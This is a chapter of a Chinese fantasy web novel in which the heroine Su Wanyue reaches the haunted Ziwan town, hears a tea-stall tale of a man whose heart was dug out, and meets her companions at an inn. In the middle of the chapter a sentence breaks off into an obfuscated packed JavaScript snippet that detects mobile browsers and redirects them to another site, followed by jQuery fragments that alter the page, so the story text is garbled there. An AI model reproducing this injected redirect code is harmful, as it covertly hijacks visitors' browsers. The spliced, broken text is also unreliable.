那两人说走就走,没有丝毫留恋。苏挽月一个人骑着肥鹤整整飞了三天,这三天里,她不仅得时不时接收旁人异样的目光,还得顾着投喂仙鹤大人。
这只鹤长这么肥不是没有理由的,它不仅飞得慢,还吃得多。吃得多也就算了,它还挑嘴,仙果有一点不新鲜都不吃,吃得不好就不愿意动,载着苏挽月直直往下冲,下落的速度比它飞得快不知道多少倍,将苏挽月吓得面无人色,简直就是个活祖宗!
好不容易哄着鹤祖宗将她带到了紫菀镇上空,正在降落之时,不远处的树林中飞出一只身姿优美纤长的白鹤,鹤祖宗看到后眼睛都亮了,竟然二话没说,丢下她就追了上去。
这回是真丢,她摔在地上的时候都没有反应过来。懵了半晌才爬起来,好在这里离地面不高,摔不死人,但也疼得紧啊。
苏挽月揉着摔疼的屁股,心中骂了好几句鹤祖宗见色忘义。
再一打量,四周一片空荡荡的草地,连个人烟都没有,也不知道自己这是落在哪儿了。
她想了想,从储物袋中掏出一个圆形法器,随手捏了个诀,法器上就显出了方向。
苏挽月跟着法器指出的方向走了一个时辰,终于见到一个小小的茶铺。
茶铺看起来相当简陋,只有一张旧桌子,几个小凳子。
经营茶铺的是个身材矮小的老汉,她来的时候,桌上已经坐了好几个人,看穿着像是赶路的旅人。那几人正喝着粗茶,天南地北地说些江湖趣事。
老汉见到苏挽月过来,忙招呼道:“小姑娘,可要进来喝杯茶歇歇脚?”
苏挽月点点头,自己拿了木凳坐在角落,离那几个旅人远了些。
老汉为她盛了一碗凉茶,歉疚道:“客人莫怪,小本生意,没那么多桌椅板凳。”
苏挽月捧着茶,不甚在意地摆摆手,道:“没事没事,不讲究这个。”
她正要再同老汉打听一下消息,就听旁边有人道:“说到怪事,这附近就有个镇子,好像叫什么紫……紫花镇,可真邪乎得紧。”
一人接道:“是叫紫菀镇吧,略有耳闻,说是镇上有妖邪作祟。”
那人继续道:“正是如此,那紫菀镇经常出人命,被害之人皆死状惨烈,不是挖心就是掏肺。听说前段日子,又有一人出事了,这次出事的是一位书生。那书生可真惨啊,听闻他本是隔壁的回安镇找名医救治自己病重的姊妹,只是途径此地而已。谁料头日在镇上一间客栈里入住,第二日就不见了人影。旁人找了一番没找着人,就也作罢了。只当他被妖怪杀了,谁知第三日夜里,他竟自己找了回来。”
搭话的人似乎有些不解,问道:“既然找了回来,为何又说出了人命?”
那人神神秘秘地道:“是找了回来,他进了先前住过的客栈,在房间里好一阵翻找。将客栈掌柜吵醒过来,以为是进了贼。叫上小二就要去抓贼,谁知推开门却见到是这失踪了许久的青衣书生,那书生回头,白着一张脸,见了掌柜就问了一句话。”
他讲故事的时候很有些技巧,总是说一截留一截,留足了悬念,勾得人心痒痒。
对面的几人果然上钩,追问道:“说了什么?”
听到有人催促,他这才压低声音道:“他说,我的心被挖掉了,我回来找找,你们有谁见到我的心了吗?”
几人都是一怔,不约而同感觉背后冒起一股凉意。须臾,一人嗤笑出声,“世间哪有那么多神神鬼鬼的,大多都是以讹传讹罢了。”
讲故事的那人不依了,坚持道:“这可是真事啊。”
搭话的人道:“好,那你且说来,那位受害的书生姓甚名谁,家住何方?”
此话一出,讲故事的人就是一噎,他憋了半晌才道:“说的是姓贺来着……”
苏挽月在一旁听得有趣,捧着手中的凉茶抿了一口,只觉入口有股苦涩之感,待到咽下去后又浮出甘甜来,还真别有一番滋味。
等将手里的一碗茶喝完,她招来老汉问道:“老人家,敢问这里离紫菀镇还有多远?”
那老汉见她小小年纪,又是独身一人,还当她是哪家离家出走的小姐,劝道:“小姑娘,那紫菀镇可不是好玩的地方。那地方真有些邪乎呢,我劝你啊,还是别去为好。”
苏挽月微微一笑,谢过老汉的好意,道:“不瞒老人家,我去镇上真有要事,可不是要去玩的,您若知晓,便请告知我吧。”
老汉见她坚持,也不再劝,只叹了口气,“再往西边走两里路就是了。”
苏挽月大喜,向他道了谢,又留下一块碎银,这才慢悠悠地朝西走了。
茶铺的老汉见她当真去了,在心中叹道,当真是良言难劝该死鬼,只盼这姑娘能平平安安回来才是。
*
再往西边走了两里路,果然见到一个镇子,镇子不大,却也不小,掩在一片紫色的花丛里,远远看上去,就像缠着一条紫色的大蛇。
在这种惊心动魄的美丽下,莫名透出一股子危险来。
苏挽月握紧了千陵,心头有些不安,像是即将有什么不好的事情要发生。她稳了稳心神,迈步踏进了这座埋在花中的小镇。
走进去才发现,镇子虽然有妖物作祟,但百姓们还是好生生地在过日子,并没有想象中的荒凉。街上摆摊的,叫卖的,都是有的。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531652|168614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
毕竟搬又搬不走,不好好活着又能如何呢?
许是这镇子声名在外,时常有些生人来此找找刺激,苏挽月的出现却未引起旁人的注意。镇上的人只瞧了她一眼,便漠不关心地移开了目光。
她拦下一个路人问道:“敢问这位大哥,镇上可有客栈?”
那路人将她上上下下打量了几眼,像是明白了什么,朝着前方一指,道:“喏,就是那里了。”
苏挽月朝他道了谢,往前走了一阵,当真见到一间古朴的客栈,客栈外面挂着个木质牌匾,匾上是龙飞凤舞的四个大字:景阳客栈。
甫一进去,便见一位年轻男子迎了上来,他自称姓贺,名时钰,乃是这景阳客栈的掌柜。苏挽月抬眸打量了一下这贺掌柜,只见他生了一张俊俏脸庞,身量颀长,肤色白皙。举手投足间竟没有丝毫商贾之气,反而带着些读书人的味道。
她笑了笑,道:“贺掌柜,那就麻烦给我上几道你们这里的招牌菜。”这些日子,她伺候着那只鹤祖宗,饿了就啃点果子,实在是饿得紧了。
贺掌柜应道:“好,请姑娘稍等片刻。”说完便吩咐人去张罗菜色。
苏挽月向里多走了几步,正要找个位置坐下,思考着如何联系上沈毓二人,便见大堂右边桌子前坐着两个熟悉的身影。他们明明就两个人,却叫了一桌子菜,就着这些美味佳肴,一边品着美酒一边闲聊着天,一副悠闲无比的姿态。
苏挽月一见他们便觉得憋闷,气冲冲走过去落座,口中道:“二位真是好雅兴。”
沈毓淡淡瞥了她一眼,道:“苏师妹总算来了。”
柳星怜也道:“你实在太慢了。”
苏挽月气道:“你们还好意思问我,你们两人踏着飞剑嗖嗖嗖,留我一人骑着那只鹤祖宗,能到这里都是我命大了。”
她越想越气,不仅气,肚子还饿,没见到饭菜时还能忍得住,这会儿眼睁睁看着一桌子美味佳肴,顿觉腹中空空,饥饿难耐。
那贺掌柜是个人精,见他们是旧相识,便叫了小二多拿一副碗筷,让他们拼桌。
不过一会儿,小二就将空碗筷拿了过来,苏挽月也不客气,埋头便吃了起来。
沈毓冷哼一声,道:“你不是那么能吗?一个人跑来接任务,谁也不告诉。不过一个仙鹤而已,就将你折腾成这样了?”
苏挽月自知理亏,埋下头不敢吭声。
柳星怜虽始终微笑着一言不发,搭在红阎上轻点的指尖却显示出了主人的内心并不平静,看得苏挽月心中一寒。
天呐,一个冷冰冰爱说教的毓师兄,还有一个笑眯眯爱杀人的柳星怜,夭寿了。